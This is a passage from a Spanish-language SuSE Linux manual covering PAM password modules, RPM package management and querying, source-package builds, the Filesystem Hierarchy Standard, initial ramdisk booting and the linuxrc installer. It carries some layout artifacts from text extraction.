PAMsubsection.3.7.7. Además existe ahora un módulo nuevo (pam_pwcheck -Module), que se encarga del control de contraseñas nuevas. Hace falta modificar la entrada antigua: password required /lib/security/pam_unix.so #strict=false hacia: password required /lib/security/pam_pwcheck.so \ nullok #use_cracklib password required /lib/security/pam_unix.so \ nullok use_first_pass use_authtok Cada comando debe estar en una sola línea; si no, debe aparecer un \ (''barra inversa'') al final de la línea. Solo se requiere esta intervención cuando rpm no puede modificar por sí mismo los ficheros de configuración, en el caso en que el administrador de sistema haya realizado modificaciones individuales. Lo mismo es válido para todos los ficheros de configuración de PAM en el directorio /etc/ pam.d. o Aparte las páginas de manual + Manual-Pages (ver apartado 15.2.8 en la página 401De 6.2 a 6.3subsection.15.2.8), las páginas info también se encuentran en /usr/share. o makewhatis (paquete makewhat) usa ahora la utilidad manpath para encontrar las páginas de manual, (ingl. Manual-Pages). Ya no se debe definir la variable de entorno MANPATH en los ficheros tipo rc. o ldconfig sólo se ejecuta cuando un directorio /lib es más reciente que /etc/ld.so.cache; según el caso se inicia como proceso de fon- do. Es posible forzar la ejecución de ldconfig poniendo la variable de entorno run_ldconfig en true . Otra posibilidad es la de indicar "run_ldconfig=true" directamente el prompt de arranque. o La versión actual de paquete ncurses es ahora 5.0. Aún suministramos la versión 4.2 de la librería compartida, así que los programas precompilados deben seguir funcionando. 404 ______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________* *______________________ o El paquete apache ha sido dividido. Se han de instalar también los subpa- quetes del tipo mod_* para realizar ampliaciones específicas. Hay docu- mentación sobre PHP en el paquete phpdoc. Los ficheros de butaca (log) se encuentran en /var/log/httpd, para mejorar el orden. o La estructura de Roxen es la siguiente: El paquete roxen, que no permite criptografía y el paquete roxenssl con el soporte de criptografía. La ventaja es que ya no hace falta administrar el paquete roxenint por separado. o Ya no existe el paquete changes. Se puede obtener la información corre- spondiente directamente con rpm : tux@tierra: > rpm -q --changelog 15.3 RPM ~ El gestor de paquetes Con la versión 5.0 de SuSE Linux, comenzó el uso del RPM (rpm ) (ingl. RPM Package Manager), por lo que se facilita la gestión de los paquetes para todos los implicados: los usuarios, los administradores de sistema y ~ finalmente ~ los que generamos los paquetes. El amplio banco de datos de RPM ofrece una gran cantidad de información sobre el software instalado. La función rpm puede actuar de tres maneras distintas: o generar paquetes listos para instalar desde las fuentes vírgenes (ingl. pris- tine sources) o instalación, actualización y desinstalación completa de los paquetes o direccionar consultas al banco de datos RPM o a determinados archivos RPM. Los archivos RPM, listos para ser instalados, tienen un formato binario espe- cial que incluye los ficheros con los programas e información adicional usada por rpm . Esta información adicional se usa para configurar el software del paquete o para la documentación en el banco de datos RPM. Estos archivos tienen la extensión .rpm. 15.3.1 Instalar, actualizar y desinstalar paquetes. Por lo general la instalación de un archivo RPM es muy sencilla: tierra: # rpm -i .rpm Este comando estándar solamente instala un paquete si se cumplen todas las ''dependencias'', ya que de lo contrario podrían aparecer ''conflictos''; los mensajes de error de rpm indican los paquetes que faltan para cumplir con las dependencias. El banco de datos se ocupa de evitar conflictos: normalmente un fichero debe pertenecer a un solo paquete; también hay diferentes opciones que permiten pasar por alto esta regla, pero se debe estar muy seguro de ello ya que se puede perder la posibilidad de actualizar el paquete. Una opción muy interesante para la actualización de un paquete es -U o --upgrade . La versión anterior del mismo paquete se borra y la nueva se instala mientras que rpm trata los ficheros de configuración con cuidado, apoyándose en la siguiente estrategia: * * 405 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ o Si el administrador de sistema no ha cambiado ningún fichero de config- uración, rpm instala la versión nueva y por lo tanto, el administrador de sistema no tiene que intervenir de ninguna manera. o Si el administrador de sistema ha cambiado un fichero de configuración, rpm guarda el fichero con la extensión .rpmorig o .rpmsave e instala la nueva versión del paquete RPM, salvo que el archivo de configuración de esta nueva versión no haya cambiado su estructura. En el caso de reemplazar el fichero de configuración, es muy probable que sea nece- sario adaptar el nuevo basándose en la copia con la extensión .rpmorig o .rpmsave. Después de esta adaptación se deben borrar los ficheros .rpmorig y .rpmsave para que estos no obstaculicen la siguiente actu- alización1 . La opción -U (Update) no es de ninguna manera equivalente a la secuencia -e -i (Desinstalar/Borrar ~ Instalar). Siempre que sea posible, es preferible usar la opción -U . ________________________________________________________________________________________________________* *________|| | Después de cada actualización es necesario controlar las copias de seguri- * * |||| | * * ||| | dad con las extensiones .rpmorig o .rpmsave generados por rpm . En ca- * * ||| | so de necesidad transfiera sus ajustes a los nuevos ficheros de configuración * * ||| | * * ||| | y borre después los antiguos con las extensiones .rpmorig o .rpmsave. * * ||| |_______________________________________________________________________________________________________* *________|||_ Para borrar un paquete se procede de la siguiente manera: tierra: # rpm -e rpm solo borra un paquete en caso de no existir ninguna dependencia. Por lo tanto no es posible suprimir p. ej. Tcl/Tk si todavía existe algún programa que lo necesite para su ejecución; esta funcionalidad se debe al ''control'' por parte del banco de datos RPM. Si en algún caso excepcional no es posible borrar un paquete aunque haya de- jado de existir cualquier dependencia, es probable que el problema se resuelva al generar de nuevo el banco de datos RPM, usando la opción --rebuilddb (las explicaciones sobre el banco de datos se pueden ver en el apartado 15.3.2 en la página 408Consultastable.15.2). 15.3.2 Consultas La opción -q (ingl. query) permite direccionar consultas a los archivos RPM (opción -p ) tal como al banco de datos RPM. El tipo de información a consultar depende de los banderines que figuran en la tabla 15.1 en la página siguiente. _______________________________________________________________________________________________________* *_________ -i Mostrar información sobre un paquete _______________________________________________________________________________________________________* *_________ _______________________Tabla_15.1:_Continúa_en_la1páginaLsiguientea...extensión .rpmsave se selecciona c* *uando el banco de datos RPM ya conoce e@ caso contrario se usa .rpmorig. Dicho en otras palabras, los ''.rpmorig'' se generan cuando se actualizan paquetes que no tienen formato RPM y los .rpmsave se generan actualizando paquetes RPM antiguos con RPM nuevos. 406 ______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________* *______________________ ______________________________________________________________________________________________________________________ -l Mostrar lista de ficheros del paquete -f + Consultar por el paquete que contiene el fichero ; se precisa la especificación de con su rama completa! -s Mostrar estado de los ficheros (implica -l ) -d Nombrar ficheros de documentación (implica -l ) -c Nombrar ficheros de configuración (implica -l ) --dump Mostrar toda la información de verificación de todos los ficheros (¡Uselo con -l , -c o -d !) --provides Mostrar posibilidades del paquete; otro paquete puede pedirlas con --requires --requires , -R Mostrar dependencias entre los paquetes --scripts Mostrar los distintos scripts de desinstalación ______________________________________________________________________________________________________________________ Tabla 15.1: Las opciones de consulta más importantes (-q [-p ] . . . ) Por ejemplo el comando: tierra: # rpm -q -i rpm da como resultado la salida en pantalla 15.3.1: _______________________________________________________________________________________________________________________|||| |||||||| Name : rpm Relocations: (not relocateable) | |||||||| | |||||||| Version : 3.0.3 Vendor: SuSE GmbH, Germany | |||||||| Release : 47 Build Date: Fri Dec 10 13:50:27 | |||||||| Install date: Tue Dec 14 12:57:00 1999 Build Host: Cauchy.suse.de | |||||||| Group : unsorted Source RPM: rpm-3.0.3-47.src.rpm | |||||||| | |||||||| Size : 5740847 License: GPL | |||||||| Packager : feedback@suse.de | |||||||| Summary : RPM Package Manager | |||||||| Description : | |||||||| | |||||||| RPM Package Manager is the main tool for managing software packages | |||||||| of the SuSE Linux distribution. | |||||||| [...] | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 15.3.1: rpm -q -i rpm La opción -f solo funciona cuando se indica el nombre de fichero completo con la rama incluida; se pueden indicar tantos ficheros como se desee. Por ejemplo el comando: tierra: # rpm -q -f /bin/rpm /usr/bin/wget resulta en: rpm-3.0.3-3 wget-1.5.3-55 Si solo se conoce una parte del nombre del fichero, se puede obtener ayuda mediante un script (ver el fichero 15.3.1 en la página siguiente) al cual se pasa, como parámetro, el nombre del fichero buscado. * * 407 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | * * | || #!fo/bin/shr i in `rpm -q -a -l | grep $1 `; do * * || | * * | | echo "\"$i\" se encuentra en el paquete:" * * | | rpm -q -f $i * * | | echo "" * * | | done * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero 15.3.1: Script para búsqueda de paquetes Con el comando: tierra: # rpm -q --changelog rpm se puede ver información detallada (actualizaciones, configuración, cambios, etc.) sobre determinados paquetes; en este ejemplo sobre el paquete rpm. El banco de datos también permite efectuar verificaciones; éstas se introducen con la opción -V (equivalente a -y o --verify ). Con la verificación rpm muestra todos los ficheros del paquete que han sido modificados desde su instalación original. rpm coloca hasta 8 caracteres por delante del nombre de fichero que indican los siguientes cambios: _______________________________________________________________________________________________________* *_________ 5 Número de control MD5 S Tamaño de fichero L Enlace simbólico T Tiempo de modificación D Número de dispositivo ''major'' y ''minor'' (ingl. device number) U Usuario (ingl. user) G Grupo (ingl. group) M Modo (con derecho y tipo) _______________________________________________________________________________________________________* *_________ Tabla 15.2: Las verificaciones Para los ficheros de configuración aparece como valor adicional la letra c, como lo muestra el ejemplo para el fichero /etc/wgetrc del paquete wget, que ha sido modificado: tierra: # rpm -V wget S.5....T c /etc/wgetrc Los ficheros del banco de datos RPM se encuentran en /var/lib/rpm. Estos pueden ocupar hasta 20 MB para una partición /usr de 500 MB, especial- mente después de una actualización completa. Si el banco de datos parece de- masiado grande, se puede reducir su tamaño usando la opción --rebuilddb ; antes de reconstruir el banco de datos se debe hacer una copia de la existente. El script cron.daily genera diariamente copias comprimidas del banco de datos y las guarda en /var/adm/backup/rpmdb. El número de estas copias está definido por la variable , cuyo valor por defecto es 5 , pero se puede modificar en /etc/rc.config. Cada respaldo ocupa aproximadamente 2 MB para una partición /usr de 500 MB. Se trata 408 de un gasto de espacio que se debe tener en cuenta al determinar el tamaño de la partición raíz, salvo que se cree una partición propia para /var. 15.3.3 Instalar y compilar los paquetes fuente Todos los paquetes con fuentes (ingl. Sources) se encuentran en la serie zq y llevan la extensión .spm; estos archivos se llaman ''Source-RPMs''. ______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| Los paquetes con fuentes se pueden instalar con YaST como cualquier ||| | ||||||||| otro paquete, con la diferencia que, estos no se marcan como instalados, || || |||||||| con una [i] , como ocurre con los paquetes ''regulares''. Por esta razón ||| | |||||||| || | |||||||| los paquetes fuente no figuran en el banco de datos RPM, ya que éste solo || | |||||||| anota el software instalado. || | ||||||||_______________________________________________________________________________________________________________||_ Si no hay ninguna configuración personal activada (p. ej. a través del fichero /etc/rpmrc), los directorios de trabajo de rpm deben existir por debajo de /usr/src/packages. Estos son: SOURCES para las fuentes originales (ficheros-.tar.gz, etc.) y para las adaptaciones específicas de las distintas distribuciones (ficheros-.dif). SPECS para los ficheros-.spec, que controlan el proceso ''build'' y de este modo actúan como ''Makefiles''. BUILD por debajo de este directorio se desempacan o se compilan las fuentes; también se añaden a éste los parches. RPMS en éste se graban los paquetes completos en formato binario. SRPMS y en éste los ''Source''-RPMs (fuentes). _______________________________________________________________________________________________________________________|| |||||||| ¡No deben hacerse experimentos de RPM con los componentes clave del ||| | |||||||| sistema como paquete libc, paquete rpm, paquete nkit, etc., porque se || | |||||||| || | |||||||| estaría poniendo en peligro el buen funcionamiento del sistema! || | ||||||||_______________________________________________________________________________________________________________||_ Al instalar con YaST un paquete de fuentes de la serie zq, todos los com- ponentes necesarios para el proceso ''build'' se copian en el directorio /usr/ src/packages: Las fuentes y los parches se van al directorio SOURCES y el fichero-.spec correspondiente se copia en el directorio SPECS2 . Toman- do como ejemplo el paquete wget.spm, después de ser instalado con YaST , aparecerán los siguientes ficheros: /usr/src/packages/SPECS/wget.spec /usr/src/packages/SOURCES/wget-1.4.5.dif /usr/src/packages/SOURCES/wget-1.4.5.tar.gz Con el comando rpm -b /usr/src/packages/SPECS/wget.spec comienza la compilación. La variable puede representar diferentes pasos, de los cuales aquí figuran algunos (ver también la ayuda que aparece con la opción ~help o la documentación de RPM): -bp preparar las fuentes en el directorio /usr/src/packages/BUILD; de- sempacar y poner los parches -bc igual a -bp , pero con compilación. -bi igual a -bc , pero con instalación del paquete. ¡Cuidado: Si hay algún paquete que no soporte la característica BuildRoot, es posible que durante la instalación se sobreescriban algunos ficheros de configuración impor- tantes! -bb igual a -bi , pero con generación adicional del ''Binary-RPM'' que se encuentra en caso de éxito en el directorio /usr/src/packages/RPMS. 2 ____________________________________________________ Respecto a la generación propia de paquetes (ingl. build mode) ver [Bai97 ] y la página del manual de rpm (man rpm ). * * 409 15. Actualización_del_sistema_~_Gestión_de_paquetes_______________________________________________________________________________* *_______________________________________@ -ba igual a -bb , pero genera adicionalmente el ''Source-RPM'' que se en- cuentra, en caso de éxito, en el directorio /usr/src/packages/SRPMS. La opción --short-circuit permite saltarse determinados pasos. El ''Binary-RPM'' se instala finalmente con rpm -i , o mejor con rpm -U , para que aparezca en el banco de datos RPM. 15.3.4 Herramientas para los archivos RPM y el banco de datos RPM El Midnight Commander (mc ) es capaz de mostrar el contenido de un archivo RPM y copiar partes de él. El archivo RPM se muestra en un sistema de ficheros virtual para el cual se ponen a disposición todas las opciones del menú del mc . La información_de los encabezamientos del ''fichero''_HEADER se visualiza con |F___|3; con las teclas del cursor y |_____-|se puede pasar por la estructura del archivo y en caso de necesidad copiar componentes usando |F___|_5. ~ Por otra parte, ya existe rpm.el para Emacs , que es un ''Frontend'' para rpm :-) xrpm es el nombre de un gestor gráfico de RPM realizado con Python, un lenguaje de scripts ''sofisticado''. xrpm soporta la gestión de paquetes vía FTP. KDE incluye la herramienta krpm , que es una interfaz gráfica del sistema X Window para la gestión de RPM; en caso de GNOME se incorpora gnorpm . Alien (alien ) permite la conversión de los formatos de las distintas distribu- ciones. Con este programa se puede intentar convertir, antes de la instalación, los archivos antiguos del tipo TGZ al formato RPM, para que el banco de datos RPM reciba durante la instalación la información de los paquetes. Pero cuidado: alien es un script de Perl y según sus autores todavía se encuentra en fase alfa, aunque ya ha alcanzado un número de versión alto. Finalmente existe YaST y su funcionamiento se explica en el apartado 3.5.9 en la página 100Instalar paquetessubsection.3.5.9. 410 Capítulo 16 Particularidades de SuSE Linux 16.1 Filesystem Hierarchy Standard (FHS) y Linux Stan- dard Base (LSB) SuSE Linux intenta cumplir al máximo el estándar de sistema de ficheros (in- gl. Filesystem-Standard (FSSTD)) o de su sucesor, el estándar sobre jerarquía del sistema de ficheros (ingl. Filesystem Hierarchy Standard (FHS, paquete fhs, serie doc)). Por lo tanto a veces es necesario mover ficheros o directo- rios al lugar ''correcto'' en el árbol de directorios. SuSE soporta activamente los esfuerzos del proyecto Linux Standard Base, sobre el cual es posible informarse en http://www.linuxbase.org. 16.1.1 Entornos de ejemplo para FTP y HTTP Sobre FTP El paquete ftpdir contiene un entorno de ejemplo para facilitar la configu- ración de un servidor FTP. Este entorno se instala en /usr/local/ftp. Sobre HTTP El servidor web predeterminado de SuSE Linux es Apache , que se instala junto con algunos documentos de ejemplo en el directorio /usr/local/ httpd. Para poner en marcha un servidor de web propio se recomienda definir un DocumentRoot propio en el fichero /etc/httpd/httpd.conf. 16.1.2 teTeX ~ TE X en SuSE Linux teTeX se instala según la estructura TEX Directory Structure (TDS) sin vio- lación del FHS (ver ftp://ftp.dante.de/tex-archive/tds/). 16.2 Arrancar con ''initial ramdisk'' Situación de arranque En cuanto el kernel de Linux esté cargado y el sistema de ficheros raíz (/) montado, es posible ejecutar programas y cargar módulos de kernel adi- cionales para proporcionar funciones adicionales. * * 411 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Para llegar al punto de montar el sistema de ficheros raíz, se tienen que cumplir varias condiciones. Por una parte, el kernel necesita el driver para acceder al dispositivo que contiene el sistema de ficheros raíz (sobre todo los drivers para SCSI) y por otra parte el kernel tiene que contener el código necesario para leer el sistema de ficheros (ext2 , reiserfs , romfs , etc.). Además es posible que el sistema de ficheros raíz ya esté encriptado, con lo cual se tendría que introducir la contraseña para montarlo. Hay diferentes soluciones para resolver el problema de los drivers de SC- SI. Una posibilidad sería un kernel que contenga todos los drivers existentes, lo que tiene como desventaja el aumento de su tamaño y que pueda haber conflictos entre todos los drivers. Otra solución sería proporcionar diferentes kernels, de los que cada uno contenga uno o un par de drivers SCSI. Esta solución es también complicada ya que requiere una gran cantidad de kernels diferentes, cantidad que además se multiplica por las diferentes optimiza- ciones para Pentium o SMP. La solución óptima es la de cargar el driver SCSI como módulo. Esta solu- ción requiere la posibilidad de ejecutar programas del área (de memoria) de usuario antes de montar el sistema de ficheros raíz. Este procedimiento se puede realizar mediante el concepto del initial ramdisk (disco de memoria inicial). 16.2.1 El concepto ''initial ramdisk'' Los problemas mencionados arriba se resuelven mediante el initial ramdisk (también denominado ''initdisk'' o ''initrd''). El kernel de Linux ofrece la posibilidad de cargar un sistema de ficheros pequeño a un disco de memoria (Ramdisk) para ejecutar programas dentro del mismo antes del montaje real del sistema de ficheros raíz. El ''bootloader'' (LILO , loadlin , etc.) se encarga de cargar el initrd. Todos los ''bootloader'' sólo necesitan rutinas de la BIOS para leer los datos del disco. Cuando el ''bootloader'' es capaz de cargar el kernel, éste también puede cargar el disco de memoria inicial por lo que ya no se necesitan drivers especiales. 16.2.2 Procedimiento del arranque con initrd El ''bootloader'' carga el kernel y la initrd a la memoria e inicia el kernel, indicándole la existencia de un disco de memoria initrd y su posición en la memoria. Normalmente el initrd está comprimido, por lo que el kernel lo descom- prime y lo monta como sistema de ficheros temporal. Después de esto, dentro del disco initrd se inicia un programa denominado linuxrc , que es capaz de montar el sistema de ficheros ''normal''. En el momento que linuxrc fi- naliza, el disco temporal initrd se desmonta y el proceso de arranque sigue en su secuencia habitual, montando el sistema de ficheros raíz verdadero. El montaje de initrd y la ejecución de linuxrc se pueden observar como pasos intermedios durante el proceso de arranque normal. Si no es posible desmontar el initrd (lo que se puede considerar un error), el kernel trata de montar nuevamente el initrd pero esta vez sobre el directorio /initrd. En caso de que éste no exista, el kernel emite un mensaje de error. 412 __________________________________________________________________________16.2.__Arrancar_con_''initial_ramdisk''___________* *______________________ El sistema es completamente operativo, pero nunca será posible liberar el espacio de memoria que initrd ocupa. linuxrc Las condiciones para linuxrc dentro del initrd son las siguientes: Debe tener el nombre especial linuxrc y se debe encontrar dentro del directo- rio raíz del initrd. Aparte de ello solo hace falta que el kernel lo pueda ejecutar. Esto significa que linuxrc puede ser un programa con enlace (ingl. link) dinámico a las librerías, pero en este caso las librerías compartidas (ingl. shared libraries) se deben encontrar como es usual bajo /lib en el initrd. linuxrc también podría ser un script de la shell, pero para esto debería exi- stir una + Shell en /bin. Resumiendo, se puede decir que el initrd debe contener un sistema Linux mínimo que permita ejecutar el programa linuxrc . Durante la instalación de SuSE Linux se usa un linuxrc enlazado estática- mente para mantener el initrd lo más pequeño posible, ya que el espacio en los disquetes de arranque es muy reducido. linuxrc se ejecuta con derechos de superusuario `root'. El sistema de ficheros raíz verdadero En cuanto linuxrc termina, el initrd se desmonta y el proceso de arranque continúa, con el kernel montando el sistema de ficheros raíz verdadero. lin- uxrc puede influir sobre el tipo de sistema de fichero raíz que se va a mon- tar. Para ello solo es necesario que linuxrc monte el sistema de ficheros /proc y escriba el valor del sistema de ficheros raíz en forma numérica en /proc/sys/kernel/real-root-dev. 16.2.3 Bootloader La mayoría de los ''cargadores/gestores de arranque'' (ingl. bootload- er/bootmanager) son capaces de tratar un initrd (especialmente loadlin y syslinux ). La forma de indicar a los ''bootloader'' que usen un initrd, es la siguiente: 1. LILO Apuntar la siguiente línea en /etc/lilo.conf: _______________________________________________________________________________________________________________________|| |||||||| | |||||||| initrd=/boot/initdisk.gz | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | El fichero /boot/initdisk.gz es el disco de memoria inicial (initial ramdisk). Es posible (pero no necesario) que se encuentre comprimido. 2. loadlin.exe Ejecución mediante: C:> loadlin initrd=C:\loadlin\initdisk.gz 3. syslinux Apuntar la siguiente línea en syslinux.cfg: * * 413 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | * * | || append initrd=initdisk.gz * * || | * * | |_______________________________________________________________________________________________________* *________ | 16.2.4 Uso de initrd en SuSE Linux Instalación del sistema Ya hace tiempos que se usa el initrd para la instalación. El usuario puede cargar módulos en linuxrc e introducir los datos necesarios para la instalación (sobre todo el medio fuente). Después linuxrc inicia YaST , que se encarga de la instalación. Cuando ésta haya terminado, YaST indica a linuxrc el lugar donde se encuentra el sistema recientemente instalado. Seguidamente linuxrc anota este valor en /proc, se termina y el kernel sigue iniciándose con el sistema recién instalado. Al instalar SuSE Linux se inicia desde un principio prácticamente el mismo sistema que se acaba de instalar ~ no está mal ;-) Sólo cuando el kernel en ejecución no concuerda con los módulos que se hayan instalado en el sistema, se efectúa un reinicio del mismo. Esto solo hace falta cuando se ha instalado un kernel para máquinas multiprocesador junto con sus módulos, ya que actualmente SuSE Linux a la hora de arrancar, usa un kernel para computadoras monoprocesador. Para poder usar todos los módulos, hace falta iniciar el kernel SMP del sistema. Arrancar el sistema instalado Anteriormente YaST ofrecía más de 40 kernels para la instalación, diferen- ciándose unos de otros por diferentes drivers para controladoras SCSI. Esto era necesario para el montaje del sistema de ficheros raíz después del ar- ranque. Los demás drivers se podían cargar posteriormente como módulos. Como ahora ofrecemos kernels optimizados, se trata de un concepto inválido, ya que harían falta más de 100 diferentes imágenes de kernel. Por lo tanto se usa ahora el initrd también para el inicio normal del sistema. El funcionamiento es análogo al de la instalación, con la diferencia de que el linuxrc es ahora un sencillo script que solo se ocupa de cargar unos determi- nados módulos. Por lo general se carga un solo módulo que es el driver SCSI, necesario para el acceso al sistema de ficheros raíz. Generar un initrd El initrd (ingl. Initial ram disk) se genera mediante el script mk_initrd . Los módulos que se han de cargar se definen, en el caso de SuSE Linux, con la variable INITRD_MODULES en /etc/rc.config. Después de una instalación esta variable contiene automáticamente los valores correctos, ya que linuxrc reconoce cuales módulos han sido cargados. Estos se cargan exactamente en el orden de aparición en la variable INITRD_MODULES , lo cual es importante cuando se cargan varios drivers SCSI, ya que la enumeración de los discos cambia cuando los módulos se cargan en orden diferente. En realidad sería 414 __________________________________________________________________________16.2.__Arrancar_con_''initial_ramdisk''___________* *______________________ suficiente cargar sólo el driver SCSI que proporciona acceso al sistema de ficheros raíz. La carga posterior automática de drivers SCSI es complicada (sería difícil secuenciarlo, si también hay discos conectados a la segunda controladora), por lo que preferimos cargar todos los drivers SCSI mediante el initrd. El mk_initrd actual comprueba si realmente se necesita un driver SCSI para acceder al sistema de ficheros raíz. Ejecutando mk_initrd en una computa- dora que tiene / sobre un disco EIDE, no se genera ningún initrd, ya que no hace falta (los kernels de SuSE Linux incorporan el soporte EIDE). De hecho cada vez aparecen más controladoras EIDE específicas, por lo que hará falta usar en un futuro un initrd también para estas controladoras. _______________________________________________________________________________________________________________________|| |||||||| ¡La carga de initrd por parte del ''bootloader'' funciona igual a la carga ||| | |||||||| del kernel mismo (LILO apunta en su fichero map la ubicación de estos || | |||||||| || | |||||||| datos) y por eso se requiere una nueva instalación de LILO después de || | |||||||| cada cambio en initrd! O sea, después de cada mk_initrd hay que || | |||||||| || | |||||||| ejecutar lilo . || | ||||||||_______________________________________________________________________________________________________________||_ 16.2.5 Posibles problemas ~ Kernel compilado a medida Después de haber compilado un kernel a medida es posible que aparezcan ciertos problemas comunes. For example el driver de SCSI se ha incorporado fijo al kernel, pero el initrd se ha quedado sin cambios. A la hora de arrancar pasa lo siguiente: El kernel ya contiene el driver para SCSI, que reconoce la controladora. El initrd en cambio trata de cargar el driver otra vez como módulo, lo que puede paralizar el sistema (especialmente en caso del aic7xxx ). En realidad es un fallo del kernel, ya que no debería ser posible cargar de nuevo un driver ya existente ~ el problema en sí ya se conoce por el driver para el puerto serie. Existen varias soluciones para solventar este problema: Se configura el driver como módulo (entonces se carga correctamente con el initrd) o bien, se quita la entrada del initrd de /etc/lilo.conf. Sería lo mismo si se quita el driver de INITRD_MODULES y se ejecuta mk_initrd ; este comando reconoce entonces que no se requiere ningún initrd. 16.2.6 El futuro En el futuro es posible que se use initrd para tareas más sofisticadas que la sencilla carga de módulos necesarios para el acceso a /. o Driver ''High end'' EIDE o Sistema de ficheros raíz sobre un Software RAID (linuxrc configura los dispositivos md) o Sistema de ficheros raíz sobre LVM o Sistema de ficheros raíz encriptado (linuxrc pide una contraseña) o Sistema de ficheros raíz sobre un disco SCSI conectado a una tarjeta PCMCIA. * * 415 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Más información Se puede encontrar información adicional en: /usr/src/linux/Documentation/ ramdisk.txt /usr/src/linux/Documentation/initrd.txt página del manual de initrd (man 4 initrd ). 416 ________________________________________________________________________________________________________________16.3.__linux* *rc____________________ 16.3 linuxrc linuxrc es un programa que se comienza a ejecutar durante el inicio del ker- nel, antes de arrancar realmente1 . Esta propiedad es muy ventajosa, ya que permite arrancar un kernel pequeño y modularizado, haciendo posible cargar como módulos los pocos drivers que realmente se necesitan. Esto se puede hacer incluso desde un segundo disquete. linuxrc ayuda a cargar los drivers relevantes para el hardware y no solo sirve para la instalación sino también como herramienta de arranque para el sistema Linux instalado, formando así una especie de disquete de rescate. También sirve para resolver algún problema grave en el disco duro o simplemente cuando se ha olvidado la contraseña de `root', ya que es posible arrancar un sistema de rescate a base de un RAM-Disk. Hay más información en el apartado 16.5 en la página 425El sistema de rescate de SuSE section.16.5. Menú principal Después de haber ajustado idioma, pantalla y teclado se entra al menú prin- cipal de linuxrc (ver figura 2.3 en la página 32Configuración general e incor- poración del hardwaresubsection.2.2.3). El punto a dónde llegar es en este momento la opción `Iniciar la insta- lación / Sistema'. Poder entrar en esa opción depende directamente del hardware de la computadora: Si el kernel reconoce directamente todos los componentes necesarios para la instalación, no hace falta cargar ningún driver adicional. Este es el caso para computadoras que solo tienen dispositivos conectados a una controladora del tipo (E)IDE. Si la computadora tiene una controladora SCSI y la necesita para la insta- lación2 , entonces hace falta cargar un módulo SCSI. Lo mismo para el caso en el que se efectúa la instalación a través de una red ya que para ello hay que cargar primero un driver (en forma de módulo de kernel) para la tarjeta red. Finalmente existen algunos lectores CD-ROM antiguos que fueron sumin- istrados con su propia tarjeta controladora y por tanto necesitan sus propios módulos de kernel. También hace falta cargar módulos cuando se están usan- do tarjetas PCMCIA en un portátil. Información del sistema Si no se sabe exactamente qué hardware tiene la computadora, pueden servir de ayuda los mensajes del kernel que aparecen durante el arranque. Con la opción `Información del sistema' (figura 16.1 en la página sigu- iente) no solo se pueden ver los mensajes del kernel sino también otros datos importantes como las direcciones de entrada y salida (ingl. I/O address) de las tarjetas PCI o el tamaño de la memoria principal. Las siguientes líneas muestran cómo se presentan un disco duro y un lector CD-ROM conectados a una controladora EIDE. Es el caso en el que no hace falta cargar_ningún_módulo_del_kernel_para_la_instalación:_ 1 El kernel tiene que estar configurado adecuadamente. 2 De momento no hace falta considerar una controladora que p. ej.solo se conecta a un escáner * * 417 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Figura 16.1: Información del sistema hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63 hdb: CD-ROM CDR-S1G, ATAPI CDROM drive Partition check: hda: hda1 hda2 hda3 < hda5 > Por otra parte, si se ha arrancado con un kernel que incorpora un driver de SC- SI, tampoco hace falta cargar ningún módulo SCSI adicional. Las siguientes líneas muestran un mensaje típico de reconocimiento de una controladora SCSI y de los dispositivos conectados: scsi : 1 host. Started kswapd v 1.4.2.2 scsi0 : target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II scsi0 : setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II Vendor: QUANTUM Model: VP32210 Rev: 81H8 Type: Direct-Access ANSI SCSI revision: 02 Detected scsi disk sda at scsi0, channel 0, id 0, lun 0 scsi0 : target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI scsi0 : setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI Vendor: TOSHIBA Model: CD-ROM XM-3401TA Rev: 0283 Type: CD-ROM ANSI SCSI revision: 02 scsi : detected 1 SCSI disk total. SCSI device sda: hdwr sector= 512 bytes. Sectors= 4308352 [2103 MB] [2.1 GB] Partition check: sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 > Carga de módulos Aquí se puede elegir qué tipo de módulo se necesita. Si se ha arrancado desde disquete, linuxrc carga los datos necesarios y los presenta para elegir. Si se ha arrancado desde el CD o desde DOS con loadlin , todos los módulos ya están a disposición de linuxrc . Esto evita la demora en cargar, pero gasta más memoria, lo que significa que se debe arrancar desde disquete si la com- putadora tiene menos de 8 MB RAM, ya que todos los drivers que se carguen arrancando desde CD no tendrán suficiente espacio. 418 ________________________________________________________________________________________________________________16.3.__linux* *rc____________________ Figura 16.2: Cargar módulos linuxrc ofrece los drivers disponibles en una lista. A la izquierda se ve el nombre de cada módulo y a la derecha una breve descripción del hardware para el cual está hecho el módulo (driver). Para algunos dispositivos existen varios drivers o también unos muy nuevos que aún se encuentran en fase alpha. Estos se ofrecen también aquí. Figura 16.3: Selección de los drivers SCSI Introducción de parámetros Si se ha encontrado el driver que corresponde_al hardware, se coloca el cursor sobre la línea en cuestión y se pulsa |_____-|. Aparece una pantalla con la posi- bilidad de introducir parámetros que pasarán al módulo que se cargue. En el apartado 14.3.4 en la página 373Parámetros de modprobe subsection.14.3.4 hay explicaciones más detalladas sobre los parámetros de módulo. * * 419 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Figura 16.4: Introducción de los parámetros para la carga de los módulos Hay que tener en cuenta aquí, que múltiples parámetros deben estar separados por espacios, contrastando con la introducción de parámetros en el prompt del kernel (MILO, LILO o SYSLINUX). 